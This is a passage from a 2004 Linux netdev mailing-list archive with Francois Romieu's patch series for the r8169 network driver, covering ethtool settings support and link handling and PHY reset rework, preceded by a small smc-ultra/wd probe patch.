-Nru a/drivers/net/smc-ultra.c b/drivers/net/smc-ultra.c --- a/drivers/net/smc-ultra.c Thu May 20 21:16:23 2004 +++ b/drivers/net/smc-ultra.c Thu May 20 21:16:23 2004 @@ -178,6 +178,7 @@ release_region(dev->base_addr - ULTRA_NIC_OFFSET, ULTRA_IO_EXTENT); } +#ifndef MODULE struct net_device * __init ultra_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -202,6 +203,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init ultra_probe1(struct net_device *dev, int ioaddr) { diff -Nru a/drivers/net/wd.c b/drivers/net/wd.c --- a/drivers/net/wd.c Thu May 20 21:16:23 2004 +++ b/drivers/net/wd.c Thu May 20 21:16:23 2004 @@ -131,6 +131,7 @@ release_region(dev->base_addr - WD_NIC_OFFSET, WD_IO_EXTENT); } +#ifndef MODULE struct net_device * __init wd_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -155,6 +156,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init wd_probe1(struct net_device *dev, int ioaddr) { --RnlQjJ0d97Da+TV1-- From romieu@fr.zoreil.com Thu May 20 05:37:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 05:37:19 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KCbFKO017752 for ; Thu, 20 May 2004 05:37:16 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4KCZ1uX030303; Thu, 20 May 2004 14:35:01 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4KCZ0ql030302; Thu, 20 May 2004 14:35:00 +0200 Date: Thu, 20 May 2004 14:35:00 +0200 From: Francois Romieu To: jgarzik@pobox.com Cc: netdev@oss.sgi.com Subject: [INTRO] r8169 patches + call for vict^W testers Message-ID: <20040520143500.A28948@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 5191 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Some code has been added to the latest r8169 patches to make the proud users of TBI on r8169 happy. The patches are labelled as 2.6.6-mm4 to work with the script you use for importing patches but they are actually against 2.6.6 + bk-netdev. If it is ok to merge the patches, one should tell M.Morton that he can simple drop the patches below (the names are related to its own tree) : - 266-mm2-r8169-ethtool-get_settings.patch - 266-mm2-r8169-ethtool-set_settings.patch - 266-mm2-r8169-link-handling-rework-1-2.patch - 266-mm2-r8169-link-handling-rework-2-2.patch I do not have a r8169 with a fiber interface and it is not even on the weekly purchase list. Adequate testers will be welcome. If the patches look sane, I'll generate the usual all-in-one patches (2.4 and 2.6) for the impatient testers. -- Ueimor From romieu@fr.zoreil.com Thu May 20 05:41:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 05:41:28 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KCfEKO018087 for ; Thu, 20 May 2004 05:41:15 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4KCbZuX030385; Thu, 20 May 2004 14:37:35 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4KCbZ7S030384; Thu, 20 May 2004 14:37:35 +0200 Date: Thu, 20 May 2004 14:37:35 +0200 From: Francois Romieu To: jgarzik@pobox.com Cc: netdev@oss.sgi.com Subject: [PATCH 2.6.6-mm4 1/4] r8169: ethtool .set_settings Message-ID: <20040520143735.A30304@electric-eye.fr.zoreil.com> References: <20040520143500.A28948@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040520143500.A28948@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Thu, May 20, 2004 at 02:35:00PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 5193 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev ethtool set_settings support (Andy Lutomirski ). The initial code has been modified so that the settings of parameters for TBI and normal mode do not step on each others shoes. diff -puN drivers/net/r8169.c~r8169-ethtool-set_settings drivers/net/r8169.c --- linux-2.6.6-mm4/drivers/net/r8169.c~r8169-ethtool-set_settings 2004-05-20 00:19:52.000000000 +0200 +++ linux-2.6.6-mm4-fr/drivers/net/r8169.c 2004-05-20 13:03:25.000000000 +0200 @@ -242,6 +242,14 @@ enum RTL8169_register_content { TxInterFrameGapShift = 24, TxDMAShift = 8, /* DMA burst value (0-7) is shift this many bits */ + /* TBICSR p.28 */ + TBIReset = 0x80000000, + TBILoopback = 0x40000000, + TBINwEnable = 0x20000000, + TBINwRestart = 0x10000000, + TBILinkOk = 0x02000000, + TBINwComplete = 0x01000000, + /* CPlusCmd p.31 */ RxVlan = (1 << 6), RxChkSum = (1 << 5), @@ -336,6 +344,7 @@ struct rtl8169_private { unsigned long phy_link_down_cnt; u16 cp_cmd; u16 intr_mask; + int (*set_speed)(struct net_device *, u8 autoneg, u16 speed, u8 duplex); }; MODULE_AUTHOR("Realtek"); @@ -413,8 +422,90 @@ static void rtl8169_get_drvinfo(struct n strcpy(info->bus_info, pci_name(tp->pci_dev)); } +static int rtl8169_set_speed_tbi(struct net_device *dev, + u8 autoneg, u16 speed, u8 duplex) +{ + struct rtl8169_private *tp = netdev_priv(dev); + void *ioaddr = tp->mmio_addr; + int ret = 0; + u32 reg; + + reg = RTL_R32(TBICSR); + if ((autoneg == AUTONEG_DISABLE) && (speed == SPEED_1000) && + (duplex == DUPLEX_FULL)) { + RTL_W32(TBICSR, reg & ~(TBINwEnable | TBINwRestart)); + } else if (autoneg == AUTONEG_ENABLE) + RTL_W32(TBICSR, reg | TBINwEnable | TBINwRestart); + else { + printk(KERN_WARNING PFX + "%s: incorrect speed setting refused in TBI mode\n", + dev->name); + ret = -EOPNOTSUPP; + } + + return ret; +} + +static int rtl8169_set_speed_xmii(struct net_device *dev, + u8 autoneg, u16 speed, u8 duplex) +{ + struct rtl8169_private *tp = netdev_priv(dev); + void *ioaddr = tp->mmio_addr; + int auto_nego, giga_ctrl; + + auto_nego = mdio_read(ioaddr, PHY_AUTO_NEGO_REG); + auto_nego &= ~(PHY_Cap_10_Half | PHY_Cap_10_Full | + PHY_Cap_100_Half | PHY_Cap_100_Full); + giga_ctrl = mdio_read(ioaddr, PHY_1000_CTRL_REG); + giga_ctrl &= ~(PHY_Cap_1000_Full | PHY_Cap_Null); + + if (autoneg == AUTONEG_ENABLE) { + auto_nego |= (PHY_Cap_10_Half | PHY_Cap_10_Full | + PHY_Cap_100_Half | PHY_Cap_100_Full); + giga_ctrl |= PHY_Cap_1000_Full; + } else { + if (speed == SPEED_10) + auto_nego |= PHY_Cap_10_Half | PHY_Cap_10_Full; + else if (speed == SPEED_100) + auto_nego |= PHY_Cap_100_Half | PHY_Cap_100_Full; + else if (speed == SPEED_1000) + giga_ctrl |= PHY_Cap_1000_Full; + + if (duplex == DUPLEX_HALF) + auto_nego &= ~(PHY_Cap_10_Full | PHY_Cap_100_Full); + } + + mdio_write(ioaddr, PHY_AUTO_NEGO_REG, auto_nego); + mdio_write(ioaddr, PHY_1000_CTRL_REG, giga_ctrl); + mdio_write(ioaddr, PHY_CTRL_REG, PHY_Enable_Auto_Nego | + PHY_Restart_Auto_Nego); + return 0; +} + +static int rtl8169_set_speed(struct net_device *dev, + u8 autoneg, u16 speed, u8 duplex) +{ + struct rtl8169_private *tp = netdev_priv(dev); + + return tp->set_speed(dev, autoneg, speed, duplex); +} + +static int rtl8169_set_settings(struct net_device *dev, struct ethtool_cmd *cmd) +{ + struct rtl8169_private *tp = netdev_priv(dev); + unsigned long flags; + int ret; + + spin_lock_irqsave(&tp->lock, flags); + ret = rtl8169_set_speed(dev, cmd->autoneg, cmd->speed, cmd->duplex); + spin_unlock_irqrestore(&tp->lock, flags); + + return ret; +} + static struct ethtool_ops rtl8169_ethtool_ops = { .get_drvinfo = rtl8169_get_drvinfo, + .set_settings = rtl8169_set_settings, }; static void rtl8169_write_gmii_reg_bit(void *ioaddr, int reg, int bitnum, @@ -837,6 +928,12 @@ rtl8169_init_one(struct pci_dev *pdev, c assert(dev != NULL); assert(tp != NULL); + if (RTL_R8(PHYstatus) & TBI_Enable) { + tp->set_speed = rtl8169_set_speed_tbi; + } else { + tp->set_speed = rtl8169_set_speed_xmii; + } + // Get MAC address. FIXME: read EEPROM for (i = 0; i < MAC_ADDR_LEN; i++) dev->dev_addr[i] = RTL_R8(MAC0 + i); _ From romieu@fr.zoreil.com Thu May 20 05:41:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 05:41:28 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KCfEKO018089 for ; Thu, 20 May 2004 05:41:15 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4KCeWuX030433; Thu, 20 May 2004 14:40:32 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4KCeWdQ030432; Thu, 20 May 2004 14:40:32 +0200 Date: Thu, 20 May 2004 14:40:32 +0200 From: Francois Romieu To: jgarzik@pobox.com Cc: netdev@oss.sgi.com Subject: [PATCH 2.6.6-mm4 3/4] r8169: link handling and phy reset rework Message-ID: <20040520144032.C30304@electric-eye.fr.zoreil.com> References: <20040520143500.A28948@electric-eye.fr.zoreil.com> <20040520143735.A30304@electric-eye.fr.zoreil.com> <20040520143841.B30304@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040520143841.B30304@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Thu, May 20, 2004 at 02:38:41PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 5192 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Link handling changes (Andy Lutomirski ): - the LinkChg irq enables the phy timer when the link goes down; - the phy timer is enabled in rtl8169_set_speed() to protect against link negociation failure; - removed rtl8169_hw_phy_reset() and its busy loop; - RTL8169_PHY_TIMEOUT is x10 to account for the removal of the phy_link_down_cnt loop in rtl8169_phy_timer(); - added spinlocking in timer context for rtl8169_phy_timer to avoid messing with the {set/get}_settings commands issued via ethtool; - more TBI stuff. diff -puN drivers/net/r8169.c~r8169-link-00 drivers/net/r8169.c --- linux-2.6.6-mm4/drivers/net/r8169.c~r8169-link-00 2004-05-20 13:17:43.000000000 +0200 +++ linux-2.6.6-mm4-fr/drivers/net/r8169.c 2004-05-20 13:31:57.000000000 +0200 @@ -41,6 +41,7 @@ VERSION 1.2 <2002/11/30> #include #include #include +#include #include #include #include @@ -107,7 +108,7 @@ static int multicast_filter_limit = 32; #define RTL_MIN_IO_SIZE 0x80 #define RTL8169_TX_TIMEOUT (6*HZ) -#define RTL8169_PHY_TIMEOUT (HZ) +#define RTL8169_PHY_TIMEOUT (10*HZ) /* write/read MMIO register */ #define RTL_W8(reg, val8) writeb ((val8), ioaddr + (reg)) @@ -341,7 +342,7 @@ struct rtl8169_private { struct sk_buff *Rx_skbuff[NUM_RX_DESC]; /* Rx data buffers */ struct sk_buff *Tx_skbuff[NUM_TX_DESC]; /* Tx data buffers */ struct timer_list timer; - unsigned long phy_link_down_cnt; + unsigned int phy_tried_renegotiate; /* renegotiation hack */ u16 cp_cmd; u16 intr_mask; int phy_auto_nego_reg; @@ -349,6 +350,10 @@ struct rtl8169_private { int (*set_speed)(struct net_device *, u8 autoneg, u16 speed, u8 duplex); void (*get_settings)(struct net_device *, struct ethtool_cmd *); + void (*phy_reset_enable)(void *); + unsigned int (*phy_reset_pending)(void *); + unsigned int (*link_ok)(void *); + void (*andy_s_phy_renegotiation_hack)(struct rtl8169_private *); }; MODULE_AUTHOR("Realtek"); @@ -374,7 +379,7 @@ static int rtl8169_poll(struct net_devic static const u16 rtl8169_intr_mask = LinkChg | RxOverflow | RxFIFOOver | TxErr | TxOK | RxErr | RxOK; static const u16 rtl8169_napi_event = - RxOK | LinkChg | RxOverflow | RxFIFOOver | TxOK | TxErr; + RxOK | RxOverflow | RxFIFOOver | TxOK | TxErr; static const unsigned int rtl8169_rx_config = (RX_FIFO_THRESH << RxCfgFIFOShift) | (RX_DMA_BURST << RxCfgDMAShift); @@ -416,6 +421,66 @@ static int mdio_read(void *ioaddr, int R return value; } +static unsigned int rtl8169_tbi_reset_pending(void *ioaddr) +{ + return RTL_R32(TBICSR) & TBIReset; +} + +static unsigned int rtl8169_xmii_reset_pending(void *ioaddr) +{ + return mdio_read(ioaddr, 0) & 0x8000; +} + +static unsigned int rtl8169_tbi_link_ok(void *ioaddr) +{ + return RTL_R32(TBICSR) & TBILinkOk; +} + +static unsigned int rtl8169_xmii_link_ok(void *ioaddr) +{ + return RTL_R8(PHYstatus) & LinkStatus; +} + +static void rtl8169_tbi_reset_enable(void *ioaddr) +{ + RTL_W32(TBICSR, RTL_R32(TBICSR) | TBIReset); +} + +static void rtl8169_xmii_reset_enable(void *ioaddr) +{ + unsigned int val; + + val = (mdio_read(ioaddr, PHY_CTRL_REG) | 0x8000) & 0xffff; + mdio_write(ioaddr, PHY_CTRL_REG, val); +} + +static void rtl8169_xmii_renegotiation_hack(struct rtl8169_private *tp) +{ + void *ioaddr = tp->mmio_addr; + + if (!tp->phy_tried_renegotiate && !(RTL_R8(PHYstatus) & _1000bpsF)) { + mdio_write(ioaddr, PHY_CTRL_REG, + BMCR_ANRESTART | BMCR_ANENABLE); + tp->phy_tried_renegotiate++; + } +} + +static void rtl8169_check_link_status(struct net_device *dev, + struct rtl8169_private *tp, void *ioaddr) +{ + unsigned long flags; + + spin_lock_irqsave(&tp->lock, flags); + if (!tp->link_ok(ioaddr)) { + netif_carrier_on(dev); + printk(KERN_INFO PFX "%s: link up\n", dev->name); + } else { + netif_carrier_off(dev); + mod_timer(&tp->timer, jiffies + RTL8169_PHY_TIMEOUT); + } + spin_unlock_irqrestore(&tp->lock, flags); +} + static void rtl8169_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) { @@ -493,8 +558,14 @@ static int rtl8169_set_speed(struct net_ u8 autoneg, u16 speed, u8 duplex) { struct rtl8169_private *tp = netdev_priv(dev); + int ret; - return tp->set_speed(dev, autoneg, speed, duplex); + ret = tp->set_speed(dev, autoneg, speed, duplex); + + if (tp->phy_1000_ctrl_reg & PHY_Cap_1000_Full) + mod_timer(&tp->timer, jiffies + RTL8169_PHY_TIMEOUT); + + return ret; } static int rtl8169_set_settings(struct net_device *dev, struct ethtool_cmd *cmd) @@ -753,56 +824,46 @@ static void rtl8169_hw_phy_config(struct mdio_write(ioaddr, 31, 0x0000); //w 31 2 0 0 } -static void rtl8169_hw_phy_reset(struct net_device *dev) -{ - struct rtl8169_private *tp = netdev_priv(dev); - void *ioaddr = tp->mmio_addr; - int i, val; - - printk(KERN_WARNING PFX "%s: Reset RTL8169s PHY\n", dev->name); - - val = (mdio_read(ioaddr, 0) | 0x8000) & 0xffff; - mdio_write(ioaddr, 0, val); - - for (i = 50; i >= 0; i--) { - if (!(mdio_read(ioaddr, 0) & 0x8000)) - break; - udelay(100); /* Gross */ - } - - if (i < 0) { - printk(KERN_WARNING PFX "%s: no PHY Reset ack. Giving up.\n", - dev->name); - } -} - static void rtl8169_phy_timer(unsigned long __opaque) { struct net_device *dev = (struct net_device *)__opaque; struct rtl8169_private *tp = netdev_priv(dev); struct timer_list *timer = &tp->timer; void *ioaddr = tp->mmio_addr; + unsigned long timeout = RTL8169_PHY_TIMEOUT; assert(tp->mac_version > RTL_GIGA_MAC_VER_B); assert(tp->phy_version < RTL_GIGA_PHY_VER_G); - if (RTL_R8(PHYstatus) & LinkStatus) - tp->phy_link_down_cnt = 0; - else { - tp->phy_link_down_cnt++; - if (tp->phy_link_down_cnt >= 12) { - int reg; - - // If link on 1000, perform phy reset. - reg = mdio_read(ioaddr, PHY_1000_CTRL_REG); - if (reg & PHY_Cap_1000_Full) - rtl8169_hw_phy_reset(dev); + if (!(tp->phy_1000_ctrl_reg & PHY_Cap_1000_Full)) + return; - tp->phy_link_down_cnt = 0; - } + spin_lock_irq(&tp->lock); + + if (tp->phy_reset_pending(ioaddr)) { + /* + * A busy loop could burn quite a few cycles on nowadays CPU. + * Let's delay the execution of the timer for a few ticks. + */ + timeout = HZ/10; + goto out_mod_timer; + } + + if (tp->link_ok(ioaddr)) { + /* Nothing personal here. Simple documentation purpose :o) */ + if (tp->andy_s_phy_renegotiation_hack) + tp->andy_s_phy_renegotiation_hack(tp); + goto out_unlock; } - mod_timer(timer, jiffies + RTL8169_PHY_TIMEOUT); + printk(KERN_WARNING PFX "%s: PHY reset until link up\n", dev->name); + + tp->phy_reset_enable(ioaddr); + +out_mod_timer: + mod_timer(timer, jiffies + timeout); +out_unlock: + spin_unlock_irq(&tp->lock); } static inline void rtl8169_delete_timer(struct net_device *dev) @@ -815,8 +876,6 @@ static inline void rtl8169_delete_timer( return; del_timer_sync(timer); - - tp->phy_link_down_cnt = 0; } static inline void rtl8169_request_timer(struct net_device *dev) @@ -828,8 +887,6 @@ static inline void rtl8169_request_timer (tp->phy_version >= RTL_GIGA_PHY_VER_G)) return; - tp->phy_link_down_cnt = 0; - init_timer(timer); timer->expires = jiffies + RTL8169_PHY_TIMEOUT; timer->data = (unsigned long)(dev); @@ -1014,11 +1071,20 @@ rtl8169_init_one(struct pci_dev *pdev, c if (RTL_R8(PHYstatus) & TBI_Enable) { tp->set_speed = rtl8169_set_speed_tbi; tp->get_settings = rtl8169_gset_tbi; + tp->phy_reset_enable = rtl8169_tbi_reset_enable; + tp->phy_reset_pending = rtl8169_tbi_reset_pending; + tp->link_ok = rtl8169_tbi_link_ok; tp->phy_1000_ctrl_reg = PHY_Cap_1000_Full; /* Implied by TBI */ } else { tp->set_speed = rtl8169_set_speed_xmii; tp->get_settings = rtl8169_gset_xmii; + tp->phy_reset_enable = rtl8169_xmii_reset_enable; + tp->phy_reset_pending = rtl8169_xmii_reset_pending; + tp->link_ok = rtl8169_xmii_link_ok; + + tp->andy_s_phy_renegotiation_hack = + rtl8169_xmii_renegotiation_hack; } // Get MAC address. FIXME: read EEPROM @@ -1752,10 +1818,7 @@ rtl8169_interrupt(int irq, void *dev_ins break; handled = 1; -/* - if (status & LinkChg) - link_changed = RTL_R16 (CSCR) & CSCR_LinkChangeBit; -*/ + status &= tp->intr_mask; RTL_W16(IntrStatus, (status & RxFIFOOver) ? (status | RxOverflow) : status); @@ -1763,6 +1826,9 @@ rtl8169_interrupt(int irq, void *dev_ins if (!(status & rtl8169_intr_mask)) break; + if (status & LinkChg) + rtl8169_check_link_status(dev, tp, ioaddr); + #ifdef CONFIG_R8169_NAPI RTL_W16(IntrMask, rtl8169_intr_mask & ~rtl8169_napi_event); tp->intr_mask = ~rtl8169_napi_event; @@ -1776,7 +1842,7 @@ rtl8169_interrupt(int irq, void *dev_ins break; #else // Rx interrupt - if (status & (RxOK | LinkChg | RxOverflow | RxFIFOOver)) { + if (status & (RxOK | RxOverflow | RxFIFOOver)) { rtl8169_rx_interrupt(dev, tp, ioaddr); } // Tx interrupt _ From romieu@fr.zoreil.com Thu May 20 05:41:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 05:41:28 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KCfEKO018088 for ; Thu, 20 May 2004 05:41:15 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4KCcfuX030404; Thu, 20 May 2004 14:38:41 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4KCcffG030403; Thu, 20 May 2004 14:38:41 +0200 Date: Thu, 20 May 2004 14:38:41 +0200 From: Francois Romieu To: jgarzik@pobox.com Cc: netdev@oss.sgi.com Subject: [PATCH 2.6.6-mm4 2/4] r8169: ethtool .get_{settings/link} Message-ID: <20040520143841.B30304@electric-eye.fr.zoreil.com> References: <20040520143500.A28948@electric-eye.fr.zoreil.com> <20040520143735.A30304@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040520143735.A30304@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Thu, May 20, 2004 at 02:37:35PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 5192 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev - ethtool get_settings() for r8169 (Andy Lutomirski ); - rtl8169_ethtool_ops.get_drvinfo() is set as well; - added some bits to handle the TBI status. The locking does not need to be specially clever. diff -puN drivers/net/r8169.c~r8169-ethtool-get_settings drivers/net/r8169.c --- linux-2.6.6-mm4/drivers/net/r8169.c~r8169-ethtool-get_settings 2004-05-20 13:04:53.000000000 +0200 +++ linux-2.6.6-mm4-fr/drivers/net/r8169.c 2004-05-20 13:15:59.000000000 +0200 @@ -344,7 +344,11 @@ struct rtl8169_private { unsigned long phy_link_down_cnt; u16 cp_cmd; u16 intr_mask; + int phy_auto_nego_reg; + int phy_1000_ctrl_reg; + int (*set_speed)(struct net_device *, u8 autoneg, u16 speed, u8 duplex); + void (*get_settings)(struct net_device *, struct ethtool_cmd *); }; MODULE_AUTHOR("Realtek"); @@ -475,6 +479,9 @@ static int rtl8169_set_speed_xmii(struct auto_nego &= ~(PHY_Cap_10_Full | PHY_Cap_100_Full); } + tp->phy_auto_nego_reg = auto_nego; + tp->phy_1000_ctrl_reg = giga_ctrl; + mdio_write(ioaddr, PHY_AUTO_NEGO_REG, auto_nego); mdio_write(ioaddr, PHY_1000_CTRL_REG, giga_ctrl); mdio_write(ioaddr, PHY_CTRL_REG, PHY_Enable_Auto_Nego | @@ -503,8 +510,84 @@ static int rtl8169_set_settings(struct n return ret; } +static void rtl8169_gset_tbi(struct net_device *dev, struct ethtool_cmd *cmd) +{ + struct rtl8169_private *tp = netdev_priv(dev); + void *ioaddr = tp->mmio_addr; + u32 status; + + cmd->supported = + SUPPORTED_1000baseT_Full | SUPPORTED_Autoneg | SUPPORTED_FIBRE; + cmd->port = PORT_FIBRE; + cmd->transceiver = XCVR_INTERNAL; + + status = RTL_R32(TBICSR); + cmd->advertising = (status & TBINwEnable) ? ADVERTISED_Autoneg : 0; + cmd->autoneg = !!(status & TBINwEnable); + + cmd->speed = SPEED_1000; + cmd->duplex = DUPLEX_FULL; /* Always set */ +} + +static void rtl8169_gset_xmii(struct net_device *dev, struct ethtool_cmd *cmd) +{ + struct rtl8169_private *tp = netdev_priv(dev); + void *ioaddr = tp->mmio_addr; + u8 status; + + cmd->supported = SUPPORTED_10baseT_Half | + SUPPORTED_10baseT_Full | + SUPPORTED_100baseT_Half | + SUPPORTED_100baseT_Full | + SUPPORTED_1000baseT_Full | + SUPPORTED_Autoneg | + SUPPORTED_TP; + + cmd->autoneg = 1; + cmd->advertising = ADVERTISED_TP | ADVERTISED_Autoneg; + + if (tp->phy_auto_nego_reg & PHY_Cap_10_Half) + cmd->advertising |= ADVERTISED_10baseT_Half; + if (tp->phy_auto_nego_reg & PHY_Cap_10_Full) + cmd->advertising |= ADVERTISED_10baseT_Full; + if (tp->phy_auto_nego_reg & PHY_Cap_100_Half) + cmd->advertising |= ADVERTISED_100baseT_Half; + if (tp->phy_auto_nego_reg & PHY_Cap_100_Full) + cmd->advertising |= ADVERTISED_100baseT_Full; + if (tp->phy_1000_ctrl_reg & PHY_Cap_1000_Full) + cmd->advertising |= ADVERTISED_1000baseT_Full; + + status = RTL_R8(PHYstatus); + + if (status & _1000bpsF) + cmd->speed = SPEED_1000; + else if (status & _100bps) + cmd->speed = SPEED_100; + else if (status & _10bps) + cmd->speed = SPEED_10; + + cmd->duplex = ((status & _1000bpsF) || (status & FullDup)) ? + DUPLEX_FULL : DUPLEX_HALF; +} + +static int rtl8169_get_settings(struct net_device *dev, struct ethtool_cmd *cmd) +{ + struct rtl8169_private *tp = netdev_priv(dev); + unsigned long flags; + + spin_lock_irqsave(&tp->lock, flags); + + tp->get_settings(dev, cmd); + + spin_unlock_irqrestore(&tp->lock, flags); + return 0; +} + + static struct ethtool_ops rtl8169_ethtool_ops = { .get_drvinfo = rtl8169_get_drvinfo, + .get_link = ethtool_op_get_link, + .get_settings = rtl8169_get_settings, .set_settings = rtl8169_set_settings, }; @@ -930,8 +1013,12 @@ rtl8169_init_one(struct pci_dev *pdev, c if (RTL_R8(PHYstatus) & TBI_Enable) { tp->set_speed = rtl8169_set_speed_tbi; + tp->get_settings = rtl8169_gset_tbi; + + tp->phy_1000_ctrl_reg = PHY_Cap_1000_Full; /* Implied by TBI */ } else { tp->set_speed = rtl8169_set_speed_xmii; + tp->get_settings = rtl8169_gset_xmii; } // Get MAC address. FIXME: read EEPROM _ From romieu@fr.zoreil.com Thu May 20 05:45:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 05:45:34 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KCjFKO019031 for ; Thu, 20 May 2004 05:45:16 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4KCgguX030506; Thu, 20 May 2004 14:42:42 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4KCggTb030505; Thu, 20 May 2004 14:42:42 +0200 Date: Thu, 20 May 2004 14:42:42 +0200 From: Francois Romieu To: jgarzik@pobox.com Cc: netdev@oss.sgi.com Subject: [PATCH 2.6.6-mm4 4/4] r8169: initial link setup rework Message-ID: <20040520144242.D30304@electric-eye.fr.zoreil.com> References: <20040520143500.A28948@electric-eye.fr.zoreil.com> <20040520143735.A30304@electric-eye.fr.zoreil.com> <20040520143841.B30304@electric-eye.fr.zoreil.com> <20040520144032.C30304@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040520144032.C30304@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Thu, May 20, 2004 at 02:40:32PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 5194 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Use rtl8169_set_speed() for link setup in rtl8169_init_one(): - the code which handles the option checking is isolated; - display (once) a notice message about the deprecated interface; - rtl8169_open() enables the phy timer if the link is not up; - rtl8169_set_speed() checks that the netdevice is actually ready in order to activate the timer. diff -puN drivers/net/r8169.c~r8169-link-10 drivers/net/r8169.c --- linux-2.6.6-mm4/drivers/net/r8169.c~r8169-link-10 2004-05-20 13:39:22.000000000 +0200 +++ linux-2.6.6-mm4-fr/drivers/net/r8169.c 2004-05-20 13:52:56.000000000 +0200 @@ -7,7 +7,7 @@ Feb 4 2002 - created initially by ShuChen . May 20 2002 - Add link status force-mode and TBI mode support. ========================================================================= - 1. The media can be forced in 5 modes. + 1. [DEPRECATED: use ethtool instead] The media can be forced in 5 modes. Command: 'insmod r8169 media = SET_MEDIA' Ex: 'insmod r8169 media = 0x04' will force PHY to operate in 100Mpbs Half-duplex. @@ -481,6 +481,38 @@ static void rtl8169_check_link_status(st spin_unlock_irqrestore(&tp->lock, flags); } +static void rtl8169_link_option(int idx, u8 *autoneg, u16 *speed, u8 *duplex) +{ + struct { + u16 speed; + u8 duplex; + u8 autoneg; + u8 media; + } link_settings[] = { + { SPEED_10, DUPLEX_HALF, AUTONEG_DISABLE, _10_Half }, + { SPEED_10, DUPLEX_FULL, AUTONEG_DISABLE, _10_Full }, + { SPEED_100, DUPLEX_HALF, AUTONEG_DISABLE, _100_Half }, + { SPEED_100, DUPLEX_FULL, AUTONEG_DISABLE, _100_Full }, + { SPEED_1000, DUPLEX_FULL, AUTONEG_DISABLE, _1000_Full }, + /* Make TBI happy */ + { SPEED_1000, DUPLEX_FULL, AUTONEG_ENABLE, 0xff } + }, *p; + unsigned char option; + + option = ((idx < MAX_UNITS) && (idx >= 0)) ? media[idx] : 0xff; + + if ((option != 0xff) && !idx) + printk(KERN_WARNING PFX "media option is deprecated.\n"); + + for (p = link_settings; p->media != 0xff; p++) { + if 